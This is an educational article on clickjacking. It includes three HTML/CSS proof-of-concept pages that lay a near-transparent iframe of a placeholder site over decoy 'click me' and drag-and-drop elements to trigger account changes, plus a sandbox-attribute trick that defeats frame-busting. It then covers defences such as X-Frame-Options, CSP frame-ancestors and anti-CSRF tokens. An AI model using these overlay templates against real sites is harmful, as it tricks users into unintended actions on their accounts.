The article is about Clickjacking. It discusses what a clickjacking attack is, how it works, and what the consequences can be for users. A clickjacking attack consists in tricking the user into clicking on a web page element that is either invisible or disguised as another element.
Disclaimer: This article is intended for educational purposes. It describes how clickjacking works, to show how attackers can use this method, and to help readers understand how to protect themselves from such attacks.
<style> iframe { position:relative; width: 500px; height: 700px; opacity: 0.1; z-index: 2; } div { position:absolute; top:470px; left:60px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://vulnerable.com/[email protected]"></iframe>
<style> iframe { position:relative; width: 500px; height: 500px; opacity: 0.1; z-index: 2; } .firstClick, .secondClick { position:absolute; top:330px; left:60px; z-index: 1; } .secondClick { left:210px; } </style> <div class="firstClick">Click me first</div> <div class="secondClick">Click me next</div> <iframe src="https://vulnerable.net/account"></iframe>
<html> <head> <style> #payload{ position: absolute; top: 20px; } iframe{ width: 1000px; height: 675px; border: none; } .xss{ position: fixed; background: #F00; } </style> </head> <body> <div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div> <div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div> <div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div> <iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe> <div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '[email protected]')"><h3>2.DRAG ME TO THE RED BOX</h3></div> </body> </html>
Client-side scripts can take actions to prevent Clickjacking:
Make sure the application window is the main or top window.
Make all frames visible.
Preventing clicks on invisible frames.
Detecting and warning users about possible Clickjacking attempts.
Browser Security Settings: Some browsers may block these scripts due to security settings or lack of JavaScript support
HTML5 sandbox iframe attribute: An attacker can neutralize frame blocking scenarios by setting the sandbox attribute to allow-forms or allow-scripts without allow-top-navigation. This prevents the iframe from checking if it’s the top window, e.g.
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
X-Frame-Options: deny- No domain can frame content.
X-Frame-Options: sameorigin- Only the current site can frame content.
X-Frame-Options: allow-from https://trusted.com – Only the specified ‘uri’ can frame the page.
Note the limitations: if the browser does not support this directive, it may not work. Some browsers prefer the CSP frame-ancestors directive.
frame-ancestors directive in CSP is the recommended method to protect against Clickjacking:
frame-ancestors ‘none’ – Similar to X-Frame-Options: deny.
frame-ancestors ‘self’- Similar to X-Frame-Options: sameorigin.
frame-ancestors trusted.com- Similar to X-Frame-Options: allow-from.
Content-Security-Policy: frame-ancestors 'self';
child-src
іframe-src
frame-src Directive
Defines valid sources for frames.
More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
child-src Directive
Introduced in CSP level 2 to establish valid sources for web workers and frames.
Acts as a fallback for frame-src and worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Deprecated: child-src is being phased out in favor of frame-src and worker-src.
Fallback behavior: If frame-src is missing, child-src is used as a fallback for frames. If both are missing, default-src is used.
Strict source identification: Include only trusted sources in directives to prevent exploitation.
if (top !== self) { top.location = self.location; }
Checking markers. Use anti-CSRF tokens in web applications to ensure that state change requests are made intentionally by the user and not through a Clickjacked page.